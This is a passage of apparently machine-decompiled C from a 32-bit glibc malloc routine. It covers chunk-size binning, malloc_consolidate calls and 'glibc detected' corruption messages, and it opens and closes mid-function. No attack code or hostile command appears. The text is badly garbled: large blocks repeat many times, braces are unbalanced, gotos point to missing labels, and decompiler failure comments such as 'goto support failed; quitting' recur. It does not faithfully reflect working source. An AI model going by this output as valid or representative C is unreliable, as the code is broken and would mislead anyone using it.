v261 = v280;
v262 = v266;
// branch -> 0x80b4393
goto lab_0x79e1a40;
}
// 0x80b4393
v263 = v262 % 32;
if (v263 == 0) {
v264 = 1;
goto lab_0xd3d4a10;
}
goto lab_0x79e2510;
}
lab_0x79ea1c0:
// 0x80b4393
v263 = v262 % 32;
if (v263 == 0) {
v264 = 1;
goto lab_0xd3d4a10;
}
goto lab_0x79e2510;
} else {
int32_t v287 = v276 + 119; // 0x80b46c8
v266 = v287;
v268 = 2 * v287;
// branch -> 0x80b4544
goto lab_0x79dcf30;
}
lab_0x79ebd90:
// 0x80b4544
v271 = 4 * 2 * v275;
v270 = v271 + v70;
v261 = v270;
v269 = *(int32_t *)(v271 + v57);
result2 = v269;
if (v270 == v269) {
v262 = v266;
goto lab_0x79ea1c0;
}
goto lab_0xc572550;
} else {
// 0x80b45e6
v275 = v274 + 110;
v266 = v275;
// branch -> 0x80b4544
goto lab_0x79ebd90;
}
lab_0x79eded0:
// 0x80b4544
v271 = 4 * 2 * v273;
v270 = v271 + v70;
v261 = v270;
v269 = *(int32_t *)(v271 + v57);
result2 = v269;
if (v270 == v269) {
v262 = v266;
goto lab_0x79ea1c0;
}
goto lab_0xc572550;
} else {
// 0x80b45cd
v273 = v272 + 91;
v266 = v273;
// branch -> 0x80b4544
goto lab_0x79eded0;
}
lab_0x79effb0:
// 0x80b4544
v271 = 4 * 2 * v267;
v270 = v271 + v70;
v261 = v270;
v269 = *(int32_t *)(v271 + v57);
result2 = v269;
if (v270 == v269) {
v262 = v266;
goto lab_0x79ea1c0;
}
goto lab_0xc572550;
} else {
// 0x80b453e
v267 = v265 + 56;
v266 = v267;
// branch -> 0x80b4544
goto lab_0x79effb0;
}
// 0x80b4544
v271 = 4 * v268;
v270 = v271 + v70;
v261 = v270;
v269 = *(int32_t *)(v271 + v57);
result2 = v269;
if (v270 == v269) {
v262 = v266;
goto lab_0x79ea1c0;
}
goto lab_0xc572550;
} else {
int32_t v288 = v257 / 8; // 0x80b4386
int32_t v289 = 8 * v288; // 0x80b438c
v261 = v289 + v70;
result2 = *(int32_t *)(v289 + v57);
v262 = v288;
// branch -> 0x80b4393
goto lab_0x79ea1c0;
}
// 0x80b4393
v263 = v262 % 32;
if (v263 == 0) {
v264 = 1;
goto lab_0xd3d4a10;
}
goto lab_0x79e2510;
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
int32_t v290 = g21; // 0x80b47a4
g101 = v290;
int32_t v291 = (int32_t)v62; // 0x80b47aa
int32_t v292 = v291 + 8; // 0x80b47ad
int32_t v293 = v290 & 5; // 0x80b47b2
g95 = v293;
if (v293 != 5) {
// 0x80b47be
if (v290 == 1) {
// 0x80b47cf
// branch -> 0x80b47cf
// 0x80b47cf
abort();
// UNREACHABLE
}
int32_t v294 = _itoa_word(v292, v10, 16, v10, v1); // 0x80b4822
g97 = v294;
int32_t * v295 = v31;
if (g95 < v294) {
uint32_t v296 = -1 * v294;
uint32_t v297 = -1 - g96;
g97 = -1 - (v296 > v297 ? v296 : v297);
v295 = (int32_t *)48;
// branch -> 0x80b483e
}
int32_t v298 = *(int32_t *)g93; // 0x80b4843
int32_t v299 = v298; // 0x80b4853
if (v298 == 0) {
// 0x80b4e53
v299 = 0x810918f;
// branch -> 0x80b484d
}
int32_t v300 = g101 & 2; // 0x80b4859
g101 = v300;
__libc_message((int32_t *)v300, (struct struct_59 *)"*** glibc detected *** %s: %s: 0x%s ***\n");
v247 = *(int32_t *)(v291 + 4);
v249 = v295;
v248 = (int32_t *)v299;
// branch -> 0x80b434f
goto lab_0xb24e710;
}
int32_t v301 = v290 & 2; // 0x80b4a87
g101 = v301;
int32_t * v302 = (int32_t *)v301; // 0x80b4a8a_0
__libc_message(v302, (struct struct_59 *)"%s\n");
v247 = *(int32_t *)(v291 + 4);
v249 = v31;
v248 = v302;
// branch -> 0x80b434f
goto lab_0xb24e710;
}
lab_0x79ffea0:
// 0x80b43cf
if (v64 < (int32_t *)512) {
goto lab_0xd3d34d0;
}
goto lab_0x253371b0;
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
// 0x80b430d
v50 = v44 % 2;
g101 = v50;
v59 = (int32_t)a1;
if (v50 == 0) {
// 0x80b4761
g95 = v59;
malloc_consolidate(v1, v29);
v9 = v59 + 56;
v58 = v59;
v45 = v9;
v60 = (int32_t *)v9;
// branch -> 0x80b4323
} else {
// 0x80b4316
v7 = v59 + 56;
v58 = v59;
v45 = v7;
v60 = (int32_t *)v7;
// branch -> 0x80b4323
}
// 0x80b4323
v57 = (int32_t)v60;
v70 = v57 - 8;
v71 = v58 + 1080;
v20 = (int32_t *)(v58 + 48);
v8 = v65 + 16;
v11 = g2;
v10 = (int32_t)v11;
v19 = (int32_t *)(v57 + 12);
v21 = (int32_t *)(v58 + 52);
v18 = (int32_t *)(v58 + 1100);
v40 = v45;
v30 = v29;
v24 = v3;
v36 = v65 / 0x1000 + 110;
// branch -> 0x80b4323
while (true) {
// 0x80b4323
v56 = *(int32_t *)(v40 + 12);
v17 = (char *)v56;
if (v56 == v40) {
v42 = v40;
v32 = v30;
v23 = v24;
v61 = v17;
goto lab_0x79ffea0;
}
v46 = v56;
v31 = v30;
v22 = v24;
v62 = v17;
goto lab_0x7a00210;
}
}
// 0x80b430d
v50 = v44 % 2;
g101 = v50;
v59 = (int32_t)a1;
if (v50 == 0) {
// 0x80b4761
g95 = v59;
malloc_consolidate(v1, v29);
v9 = v59 + 56;
v58 = v59;
v45 = v9;
v60 = (int32_t *)v9;
// branch -> 0x80b4323
} else {
// 0x80b4316
v7 = v59 + 56;
v58 = v59;
v45 = v7;
v60 = (int32_t *)v7;
// branch -> 0x80b4323
}
// 0x80b4323
v57 = (int32_t)v60;
v70 = v57 - 8;
v71 = v58 + 1080;
v20 = (int32_t *)(v58 + 48);
v8 = v65 + 16;
v11 = g2;
v10 = (int32_t)v11;
v19 = (int32_t *)(v57 + 12);
v21 = (int32_t *)(v58 + 52);
v18 = (int32_t *)(v58 + 1100);
v40 = v45;
v30 = v29;
v24 = v3;
v36 = v65 / 512 + 91;
// branch -> 0x80b4323
while (true) {
// 0x80b4323
v56 = *(int32_t *)(v40 + 12);
v17 = (char *)v56;
if (v56 == v40) {
v42 = v40;
v32 = v30;
v23 = v24;
v61 = v17;
goto lab_0x79ffea0;
}
v46 = v56;
v31 = v30;
v22 = v24;
v62 = v17;
goto lab_0x7a00210;
}
}
// 0x80b430d
v50 = v44 % 2;
g101 = v50;
v59 = (int32_t)a1;
if (v50 == 0) {
// 0x80b4761
g95 = v59;
malloc_consolidate(v1, v29);
v9 = v59 + 56;
v58 = v59;
v45 = v9;
v60 = (int32_t *)v9;
// branch -> 0x80b4323
} else {
// 0x80b4316
v7 = v59 + 56;
v58 = v59;
v45 = v7;
v60 = (int32_t *)v7;
// branch -> 0x80b4323
}
// 0x80b4323
v57 = (int32_t)v60;
v70 = v57 - 8;
v71 = v58 + 1080;
v20 = (int32_t *)(v58 + 48);
v8 = v65 + 16;
v11 = g2;
v10 = (int32_t)v11;
v19 = (int32_t *)(v57 + 12);
v21 = (int32_t *)(v58 + 52);
v18 = (int32_t *)(v58 + 1100);
v40 = v45;
v30 = v29;
v24 = v3;
v36 = v65 / 64 + 56;
// branch -> 0x80b4323
while (true) {
// 0x80b4323
v56 = *(int32_t *)(v40 + 12);
v17 = (char *)v56;
if (v56 == v40) {
v42 = v40;
v32 = v30;
v23 = v24;
v61 = v17;
goto lab_0x79ffea0;
}
v46 = v56;
v31 = v30;
v22 = v24;
v62 = v17;
goto lab_0x7a00210;
}
} else {
// 0x80b428a
v66 = v65 / 8;
v54 = (int32_t)a1;
v6 = v54 + 56;
v14 = (int32_t *)v6;
v67 = v54 + 48 + 8 * v66;
v26 = v67;
v55 = *(int32_t *)(v67 + 12);
v27 = v55;
if (v67 == v55) {
// 0x80b47d4
v58 = v54;
v45 = v6;
v68 = v66;
v60 = v14;
// branch -> 0x80b4323
} else {
// 0x80b42ab
if (v55 == 0) {
// 0x80b4a38
g95 = v54;
malloc_consolidate(v1, v29);
v58 = v54;
// branch -> 0x80b4323
// 0x80b4323
v57 = (int32_t)v14;
v70 = v57 - 8;
v71 = v58 + 1080;
v20 = (int32_t *)(v58 + 48);
v8 = v65 + 16;
v11 = g2;
v10 = (int32_t)v11;
v19 = (int32_t *)(v57 + 12);
v21 = (int32_t *)(v58 + 52);
v18 = (int32_t *)(v58 + 1100);
v40 = v6;
v30 = v29;
v24 = v3;
v36 = v66;
// branch -> 0x80b4323
while (true) {
// 0x80b4323
v56 = *(int32_t *)(v40 + 12);
v17 = (char *)v56;
if (v56 == v40) {
v42 = v40;
v32 = v30;
v23 = v24;
v61 = v17;
goto lab_0x79ffea0;
}
v46 = v56;
v31 = v30;
v22 = v24;
v62 = v17;
goto lab_0x7a00210;
}
} else {
// 0x80b42b3
v25 = *(int32_t *)(v55 + 12);
v15 = (int32_t *)(v65 + 4 + v55);
*v15 = *v15 | 1;
*(int32_t *)(v26 + 12) = v25;
*(int32_t *)(v25 + 8) = v26;
if (a1 != (char *)0x8139c40) {
// 0x80b42cd
v16 = (int32_t *)(v27 + 4);
*v16 = *v16 | 4;
// branch -> 0x80b42d1
}
// 0x80b42d1
v49 = v27 + 8;
v39 = g69;
g95 = v39;
if (v39 == 0) {
// Detected a possible infinite recursion (goto support failed); quitting...
} else {
v35 = v49;
v43 = v39;
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80b4323
v57 = (int32_t)v60;
v70 = v57 - 8;
v71 = v58 + 1080;
v20 = (int32_t *)(v58 + 48);
v8 = v65 + 16;
v11 = g2;
v10 = (int32_t)v11;
v19 = (int32_t *)(v57 + 12);
v21 = (int32_t *)(v58 + 52);
v18 = (int32_t *)(v58 + 1100);
v40 = v45;
v30 = v29;
v24 = v3;
v36 = v68;
// branch -> 0x80b4323
while (true) {
// 0x80b4323
v56 = *(int32_t *)(v40 + 12);
v17 = (char *)v56;
if (v56 == v40) {
v42 = v40;
v32 = v30;
v23 = v24;
v61 = v17;
goto lab_0x79ffea0;
}
v46 = v56;
v31 = v30;
v22 = v24;
v62 = v17;
goto lab_0x7a00210;
}
}
} else {
v44 = v75;
v64 = v73;
}
// 0x80b4281
v65 = (int32_t)v64;
if (v64 > (int32_t *)511) {
// 0x80b42f8
if (v64 > (int32_t *)2111) {
// 0x80b44a0
if (v64 > (int32_t *)0x29ff) {
// 0x80b477b
if (v64 < (int32_t *)0xb000) {
// 0x80b480a
// branch -> 0x80b430d
} else {
// 0x80b478a
if (v64 > (int32_t *)0x27fff) {
// 0x80b4a4b
if (v64 < (int32_t *)0xc0000) {
// 0x80b4a72
v69 = v65 / 0x40000 + 124;
// branch -> 0x80b430d
} else {
v69 = 126;
}
} else {
// 0x80b4799
v69 = v65 / 0x8000 + 119;
// branch -> 0x80b430d
}
// 0x80b430d
v50 = v44 % 2;
g101 = v50;
v59 = (int32_t)a1;
if (v50 == 0) {
// 0x80b4761
g95 = v59;
malloc_consolidate(v1, v29);
v9 = v59 + 56;
v58 = v59;
v45 = v9;
v60 = (int32_t *)v9;
// branch -> 0x80b4323
} else {
// 0x80b4316
v7 = v59 + 56;
v58 = v59;
v45 = v7;
v60 = (int32_t *)v7;
// branch -> 0x80b4323
}
// 0x80b4323
v57 = (int32_t)v60;
v70 = v57 - 8;
v71 = v58 + 1080;
v20 = (int32_t *)(v58 + 48);
v8 = v65 + 16;
v11 = g2;
v10 = (int32_t)v11;
v19 = (int32_t *)(v57 + 12);
v21 = (int32_t *)(v58 + 52);
v18 = (int32_t *)(v58 + 1100);
v40 = v45;
v30 = v29;
v24 = v3;
v36 = v69;
// branch -> 0x80b4323
while (true) {
// 0x80b4323
v56 = *(int32_t *)(v40 + 12);
v17 = (char *)v56;
if (v56 == v40) {
v42 = v40;
v32 = v30;
v23 = v24;
v61 = v17;
goto lab_0x79ffea0;
}
v46 = v56;
v31 = v30;
v22 = v24;
v62 = v17;
goto lab_0x7a00210;
}
}
// 0x80b430d
v50 = v44 % 2;
g101 = v50;
v59 = (int32_t)a1;
if (v50 == 0) {
// 0x80b4761
g95 = v59;
malloc_consolidate(v1, v29);
v9 = v59 + 56;
v58 = v59;
v45 = v9;
v60 = (int32_t *)v9;
// branch -> 0x80b4323
} else {
// 0x80b4316
v7 = v59 + 56;
v58 = v59;
v45 = v7;
v60 = (int32_t *)v7;
// branch -> 0x80b4323
}
// 0x80b4323
v57 = (int32_t)v60;
v70 = v57 - 8;
v71 = v58 + 1080;
v20 = (int32_t *)(v58 + 48);
v8 = v65 + 16;
v11 = g2;
v10 = (int32_t)v11;
v19 = (int32_t *)(v57 + 12);
v21 = (int32_t *)(v58 + 52);
v18 = (int32_t *)(v58 + 1100);
v40 = v45;
v30 = v29;
v24 = v3;
v36 = v65 / 0x1000 + 110;
// branch -> 0x80b4323
while (true) {
// 0x80b4323
v56 = *(int32_t *)(v40 + 12);
v17 = (char *)v56;
if (v56 == v40) {
v42 = v40;
v32 = v30;
v23 = v24;
v61 = v17;
goto lab_0x79ffea0;
}
v46 = v56;
v31 = v30;
v22 = v24;
v62 = v17;
goto lab_0x7a00210;
}
}
// 0x80b430d
v50 = v44 % 2;
g101 = v50;
v59 = (int32_t)a1;
if (v50 == 0) {
// 0x80b4761
g95 = v59;
malloc_consolidate(v1, v29);
v9 = v59 + 56;
v58 = v59;
v45 = v9;
v60 = (int32_t *)v9;
// branch -> 0x80b4323
} else {
// 0x80b4316
v7 = v59 + 56;
v58 = v59;
v45 = v7;
v60 = (int32_t *)v7;
// branch -> 0x80b4323
}
// 0x80b4323
v57 = (int32_t)v60;
v70 = v57 - 8;
v71 = v58 + 1080;
v20 = (int32_t *)(v58 + 48);
v8 = v65 + 16;
v11 = g2;
v10 = (int32_t)v11;
v19 = (int32_t *)(v57 + 12);
v21 = (int32_t *)(v58 + 52);
v18 = (int32_t *)(v58 + 1100);
v40 = v45;
v30 = v29;
v24 = v3;
v36 = v65 / 512 + 91;
// branch -> 0x80b4323
while (true) {
// 0x80b4323
v56 = *(int32_t *)(v40 + 12);
v17 = (char *)v56;
if (v56 == v40) {
v42 = v40;
v32 = v30;
v23 = v24;
v61 = v17;
goto lab_0x79ffea0;
}
v46 = v56;
v31 = v30;
v22 = v24;
v62 = v17;
goto lab_0x7a00210;
}
}
// 0x80b430d
v50 = v44 % 2;
g101 = v50;
v59 = (int32_t)a1;
if (v50 == 0) {
// 0x80b4761
g95 = v59;
malloc_consolidate(v1, v29);
v9 = v59 + 56;
v58 = v59;
v45 = v9;
v60 = (int32_t *)v9;
// branch -> 0x80b4323
} else {
// 0x80b4316
v7 = v59 + 56;
v58 = v59;
v45 = v7;
v60 = (int32_t *)v7;
// branch -> 0x80b4323
}
// 0x80b4323
v57 = (int32_t)v60;
v70 = v57 - 8;
v71 = v58 + 1080;
v20 = (int32_t *)(v58 + 48);
v8 = v65 + 16;
v11 = g2;
v10 = (int32_t)v11;
v19 = (int32_t *)(v57 + 12);
v21 = (int32_t *)(v58 + 52);
v18 = (int32_t *)(v58 + 1100);
v40 = v45;
v30 = v29;
v24 = v3;
v36 = v65 / 64 + 56;
// branch -> 0x80b4323
while (true) {
// 0x80b4323
v56 = *(int32_t *)(v40 + 12);
v17 = (char *)v56;
if (v56 == v40) {
v42 = v40;
v32 = v30;
v23 = v24;
v61 = v17;
goto lab_0x79ffea0;
}
v46 = v56;
v31 = v30;
v22 = v24;
v62 = v17;
goto lab_0x7a00210;
}
} else {
// 0x80b428a
v66 = v65 / 8;
v54 = (int32_t)a1;
v6 = v54 + 56;
v14 = (int32_t *)v6;
v67 = v54 + 48 + 8 * v66;
v26 = v67;
v55 = *(int32_t *)(v67 + 12);
v27 = v55;
if (v67 == v55) {
// 0x80b47d4
v58 = v54;
v45 = v6;
v68 = v66;
v60 = v14;
// branch -> 0x80b4323
} else {
// 0x80b42ab
if (v55 == 0) {
// 0x80b4a38
g95 = v54;
malloc_consolidate(v1, v29);
v58 = v54;
// branch -> 0x80b4323
// 0x80b4323
v57 = (int32_t)v14;
v70 = v57 - 8;
v71 = v58 + 1080;
v20 = (int32_t *)(v58 + 48);
v8 = v65 + 16;
v11 = g2;
v10 = (int32_t)v11;
v19 = (int32_t *)(v57 + 12);
v21 = (int32_t *)(v58 + 52);
v18 = (int32_t *)(v58 + 1100);
v40 = v6;
v30 = v29;
v24 = v3;
v36 = v66;
// branch -> 0x80b4323
while (true) {
// 0x80b4323
v56 = *(int32_t *)(v40 + 12);
v17 = (char *)v56;
if (v56 == v40) {
v42 = v40;
v32 = v30;
v23 = v24;
v61 = v17;
goto lab_0x79ffea0;
}
v46 = v56;
v31 = v30;
v22 = v24;
v62 = v17;
goto lab_0x7a00210;
}
} else {
// 0x80b42b3
v25 = *(int32_t *)(v55 + 12);
v15 = (int32_t *)(v65 + 4 + v55);
*v15 = *v15 | 1;
*(int32_t *)(v26 + 12) = v25;
*(int32_t *)(v25 + 8) = v26;
if (a1 != (char *)0x8139c40) {
// 0x80b42cd
v16 = (int32_t *)(v27 + 4);
*v16 = *v16 | 4;
// branch -> 0x80b42d1
}
// 0x80b42d1
v49 = v27 + 8;
v39 = g69;
g95 = v39;
if (v39 == 0) {
// Detected a possible infinite recursion (goto support failed); quitting...
} else {
v35 = v49;
v43 = v39;
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80b4323
v57 = (int32_t)v60;
v70 = v57 - 8;
v71 = v58 + 1080;
v20 = (int32_t *)(v58 + 48);
v8 = v65 + 16;
v11 = g2;
v10 = (int32_t)v11;
v19 = (int32_t *)(v57 + 12);
v21 = (int32_t *)(v58 + 52);
v18 = (int32_t *)(v58 + 1100);
v40 = v45;
v30 = v29;
v24 = v3;
v36 = v68;
// branch -> 0x80b4323
while (true) {
// 0x80b4323
v56 = *(int32_t *)(v40 + 12);
v17 = (char *)v56;
if (v56 == v40) {
v42 = v40;
v32 = v30;
v23 = v24;
v61 = v17;
goto lab_0x79ffea0;
}
v46 = v56;
v31 = v30;
v22 = v24;
v62 = v17;
goto lab_0x7a00210;
}
}
} else {
int32_t v303 = (int32_t)a1; // 0x80b4219
int32_t v304 = *(int32_t *)(v303 + 4); // 0x80b421c
g101 = v304;
if (v304 >= 16) {
v63 = (int32_t *)16;
// 0x80b4224
v47 = (int32_t)v63 / 8 - 2;
g97 = v47;
v13 = (int32_t *)(v303 + 8 + 4 * v47);
v37 = *v13;
g98 = v37;
if (v37 != 0) {
// 0x80b423c
v48 = v37 + 8;
g102 = v48;
if (*(int32_t *)(v37 + 4) / 8 - 2 != v47) {
// 0x80b4e5d
v41 = g21;
g101 = v41;
v51 = v41 & 5;
g95 = v51;
if (v51 == 5) {
// 0x80b4f8b
v53 = v41 & 2;
g101 = v53;
__libc_message((int32_t *)v53, (struct struct_59 *)"%s\n");
// branch -> 0x80b4253
} else {
// 0x80b4e74
if (v41 == 1) {
// 0x80b4e80
// branch -> 0x80b47cf
// 0x80b47cf
abort();
// UNREACHABLE
}
// 0x80b4f35
v12 = (int32_t)g2;
v28 = _itoa_word(v48, v12, 16, v12, v1);
g97 = v28;
if (g95 < v28) {
// 0x80b4f53
v33 = -v28;
v34 = -1 - g96;
g97 = -1 - (v34 < v33 ? v33 : v34);
// branch -> 0x80b4f5e
}
// 0x80b4f5e
if (*(int32_t *)g93 == 0) {
// 0x80b4f69
// branch -> 0x80b4f6e
}
// 0x80b4f6e
v52 = g101 & 2;
g101 = v52;
__libc_message((int32_t *)v52, (struct struct_59 *)"*** glibc detected *** %s: %s: 0x%s ***\n");
// branch -> 0x80b4253
// 0x80b4253
*v13 = *(int32_t *)(g98 + 8);
v38 = g69;
g95 = v38;
if (v38 != 0) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80b4253
*v13 = *(int32_t *)(g98 + 8);
v38 = g69;
g95 = v38;
if (v38 != 0) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80b4253
*v13 = *(int32_t *)(g98 + 8);
v38 = g69;
g95 = v38;
if (v38 != 0) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
} else {
v44 = v304;
v64 = v63;
}
// 0x80b4281
v65 = (int32_t)v64;
if (v64 > (int32_t *)511) {
// 0x80b42f8
if (v64 > (int32_t *)2111) {
// 0x80b44a0
if (v64 > (int32_t *)0x29ff) {
// 0x80b477b
if (v64 < (int32_t *)0xb000) {
// 0x80b480a
// branch -> 0x80b430d
} else {
// 0x80b478a
if (v64 > (int32_t *)0x27fff) {
// 0x80b4a4b
if (v64 < (int32_t *)0xc0000) {
// 0x80b4a72
v69 = v65 / 0x40000 + 124;
// branch -> 0x80b430d
} else {
v69 = 126;
}
} else {
// 0x80b4799
v69 = v65 / 0x8000 + 119;
// branch -> 0x80b430d
}
// 0x80b430d
v50 = v44 % 2;
g101 = v50;
v59 = (int32_t)a1;
if (v50 == 0) {
// 0x80b4761
g95 = v59;
malloc_consolidate(v1, v29);
v9 = v59 + 56;
v58 = v59;
v45 = v9;
v60 = (int32_t *)v9;
// branch -> 0x80b4323
} else {
// 0x80b4316
v7 = v59 + 56;
v58 = v59;
v45 = v7;
v60 = (int32_t *)v7;
// branch -> 0x80b4323
}
// 0x80b4323
v57 = (int32_t)v60;
v70 = v57 - 8;
v71 = v58 + 1080;
v20 = (int32_t *)(v58 + 48);
v8 = v65 + 16;
v11 = g2;
v10 = (int32_t)v11;
v19 = (int32_t *)(v57 + 12);
v21 = (int32_t *)(v58 + 52);
v18 = (int32_t *)(v58 + 1100);
v40 = v45;
v30 = v29;
v24 = v3;
v36 = v69;
// branch -> 0x80b4323
while (true) {
// 0x80b4323
v56 = *(int32_t *)(v40 + 12);
v17 = (char *)v56;
if (v56 == v40) {
v42 = v40;
v32 = v30;
v23 = v24;
v61 = v17;
goto lab_0x79ffea0;
}
v46 = v56;
v31 = v30;
v22 = v24;
v62 = v17;
goto lab_0x7a00210;
}
}
// 0x80b430d
v50 = v44 % 2;
g101 = v50;
v59 = (int32_t)a1;
if (v50 == 0) {
// 0x80b4761
g95 = v59;
malloc_consolidate(v1, v29);
v9 = v59 + 56;
v58 = v59;
v45 = v9;
v60 = (int32_t *)v9;
// branch -> 0x80b4323
} else {
// 0x80b4316
v7 = v59 + 56;
v58 = v59;
v45 = v7;
v60 = (int32_t *)v7;
// branch -> 0x80b4323
}
// 0x80b4323
v57 = (int32_t)v60;
v70 = v57 - 8;
v71 = v58 + 1080;
v20 = (int32_t *)(v58 + 48);
v8 = v65 + 16;
v11 = g2;
v10 = (int32_t)v11;
v19 = (int32_t *)(v57 + 12);
v21 = (int32_t *)(v58 + 52);
v18 = (int32_t *)(v58 + 1100);
v40 = v45;
v30 = v29;
v24 = v3;
v36 = v65 / 0x1000 + 110;
// branch -> 0x80b4323
while (true) {
// 0x80b4323
v56 = *(int32_t *)(v40 + 12);
v17 = (char *)v56;
if (v56 == v40) {
v42 = v40;
v32 = v30;
v23 = v24;
v61 = v17;
goto lab_0x79ffea0;
}
v46 = v56;
v31 = v30;
v22 = v24;
v62 = v17;
goto lab_0x7a00210;
}
}
// 0x80b430d
v50 = v44 % 2;
g101 = v50;
v59 = (int32_t)a1;
if (v50 == 0) {
// 0x80b4761
g95 = v59;
malloc_consolidate(v1, v29);
v9 = v59 + 56;
v58 = v59;
v45 = v9;
v60 = (int32_t *)v9;
// branch -> 0x80b4323
} else {
// 0x80b4316
v7 = v59 + 56;
v58 = v59;
v45 = v7;
v60 = (int32_t *)v7;
// branch -> 0x80b4323
}
// 0x80b4323
v57 = (int32_t)v60;
v70 = v57 - 8;
v71 = v58 + 1080;
v20 = (int32_t *)(v58 + 48);
v8 = v65 + 16;
v11 = g2;
v10 = (int32_t)v11;
v19 = (int32_t *)(v57 + 12);
v21 = (int32_t *)(v58 + 52);
v18 = (int32_t *)(v58 + 1100);
v40 = v45;
v30 = v29;
v24 = v3;
v36 = v65 / 512 + 91;
// branch -> 0x80b4323
while (true) {
// 0x80b4323
v56 = *(int32_t *)(v40 + 12);
v17 = (char *)v56;
if (v56 == v40) {
v42 = v40;
v32 = v30;
v23 = v24;
v61 = v17;
goto lab_0x79ffea0;
}
v46 = v56;
v31 = v30;
v22 = v24;
v62 = v17;
goto lab_0x7a00210;
}
}
// 0x80b430d
v50 = v44 % 2;
g101 = v50;
v59 = (int32_t)a1;
if (v50 == 0) {
// 0x80b4761
g95 = v59;
malloc_consolidate(v1, v29);
v9 = v59 + 56;
v58 = v59;
v45 = v9;
v60 = (int32_t *)v9;
// branch -> 0x80b4323
} else {
// 0x80b4316
v7 = v59 + 56;
v58 = v59;
v45 = v7;
v60 = (int32_t *)v7;
// branch -> 0x80b4323
}
// 0x80b4323
v57 = (int32_t)v60;
v70 = v57 - 8;
v71 = v58 + 1080;
v20 = (int32_t *)(v58 + 48);
v8 = v65 + 16;
v11 = g2;
v10 = (int32_t)v11;
v19 = (int32_t *)(v57 + 12);
v21 = (int32_t *)(v58 + 52);
v18 = (int32_t *)(v58 + 1100);
v40 = v45;
v30 = v29;
v24 = v3;
v36 = v65 / 64 + 56;
// branch -> 0x80b4323
while (true) {
// 0x80b4323
v56 = *(int32_t *)(v40 + 12);
v17 = (char *)v56;
if (v56 == v40) {
v42 = v40;
v32 = v30;
v23 = v24;
v61 = v17;
goto lab_0x79ffea0;
}
v46 = v56;
v31 = v30;
v22 = v24;
v62 = v17;
goto lab_0x7a00210;
}
} else {
// 0x80b428a
v66 = v65 / 8;
v54 = (int32_t)a1;
v6 = v54 + 56;
v14 = (int32_t *)v6;
v67 = v54 + 48 + 8 * v66;
v26 = v67;
v55 = *(int32_t *)(v67 + 12);
v27 = v55;
if (v67 == v55) {
// 0x80b47d4
v58 = v54;
v45 = v6;
v68 = v66;
v60 = v14;
// branch -> 0x80b4323
} else {
// 0x80b42ab
if (v55 == 0) {
// 0x80b4a38
g95 = v54;
malloc_consolidate(v1, v29);
v58 = v54;
// branch -> 0x80b4323
// 0x80b4323
v57 = (int32_t)v14;
v70 = v57 - 8;
v71 = v58 + 1080;
v20 = (int32_t *)(v58 + 48);
v8 = v65 + 16;
v11 = g2;
v10 = (int32_t)v11;
v19 = (int32_t *)(v57 + 12);
v21 = (int32_t *)(v58 + 52);
v18 = (int32_t *)(v58 + 1100);
v40 = v6;
v30 = v29;
v24 = v3;
v36 = v66;
// branch -> 0x80b4323
while (true) {
// 0x80b4323
v56 = *(int32_t *)(v40 + 12);
v17 = (char *)v56;
if (v56 == v40) {
v42 = v40;
v32 = v30;
v23 = v24;
v61 = v17;
goto lab_0x79ffea0;
}
v46 = v56;
v31 = v30;
v22 = v24;
v62 = v17;
goto lab_0x7a00210;
}
} else {
// 0x80b42b3
v25 = *(int32_t *)(v55 + 12);
v15 = (int32_t *)(v65 + 4 + v55);
*v15 = *v15 | 1;
*(int32_t *)(v26 + 12) = v25;
*(int32_t *)(v25 + 8) = v26;
if (a1 != (char *)0x8139c40) {
// 0x80b42cd
v16 = (int32_t *)(v27 + 4);
*v16 = *v16 | 4;
// branch -> 0x80b42d1
}
// 0x80b42d1
v49 = v27 + 8;
v39 = g69;
g95 = v39;
if (v39 == 0) {
// Detected a possible infinite recursion (goto support failed); quitting...
} else {
v35 = v49;
v43 = v39;
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80b4323
v57 = (int32_t)v60;
v70 = v57 - 8;
v71 = v58 + 1080;
v20 = (int32_t *)(v58 + 48);
v8 = v65 + 16;
v11 = g2;
v10 = (int32_t)v11;
v19 = (int32_t *)(v57 + 12);
v21 = (int32_t *)(v58 + 52);
v18 = (int32_t *)(v58 + 1100);
v40 = v45;
v30 = v29;
v24 = v3;
v36 = v68;
// branch -> 0x80b4323
while (true) {
// 0x80b4323
v56 = *(int32_t *)(v40 + 12);
v17 = (char *)v56;
if (v56 == v40) {
v42 = v40;
v32 = v30;
v23 = v24;
v61 = v17;
goto lab_0x79ffea0;
}
v46 = v56;
v31 = v30;
v22 = v24;
v62 = v17;
goto lab_0x7a00210;
}
}
} else {
v44 = v304;
v64 = (int32_t *)16;
}
// 0x80b4281
v65 = (int32_t)v64;
if (v64 > (int32_t *)511) {
// 0x80b42f8
if (v64 > (int32_t *)2111) {
// 0x80b44a0
if (v64 > (int32_t *)0x29ff) {
// 0x80b477b
if (v64 < (int32_t *)0xb000) {
// 0x80b480a
// branch -> 0x80b430d
} else {
// 0x80b478a
if (v64 > (int32_t *)0x27fff) {
// 0x80b4a4b
if (v64 < (int32_t *)0xc0000) {
// 0x80b4a72
v69 = v65 / 0x40000 + 124;
// branch -> 0x80b430d
} else {
v69 = 126;
}
} else {
// 0x80b4799
v69 = v65 / 0x8000 + 119;
// branch -> 0x80b430d
}
// 0x80b430d
v50 = v44 % 2;
g101 = v50;
v59 = (int32_t)a1;
if (v50 == 0) {
// 0x80b4761
g95 = v59;
malloc_consolidate(v1, v29);
v9 = v59 + 56;
v58 = v59;
v45 = v9;
v60 = (int32_t *)v9;
// branch -> 0x80b4323
} else {
// 0x80b4316
v7 = v59 + 56;
v58 = v59;
v45 = v7;
v60 = (int32_t *)v7;
// branch -> 0x80b4323
}
// 0x80b4323
v57 = (int32_t)v60;
v70 = v57 - 8;
v71 = v58 + 1080;
v20 = (int32_t *)(v58 + 48);
v8 = v65 + 16;
v11 = g2;
v10 = (int32_t)v11;
v19 = (int32_t *)(v57 + 12);
v21 = (int32_t *)(v58 + 52);
v18 = (int32_t *)(v58 + 1100);
v40 = v45;
v30 = v29;
v24 = v3;
v36 = v69;
// branch -> 0x80b4323
while (true) {
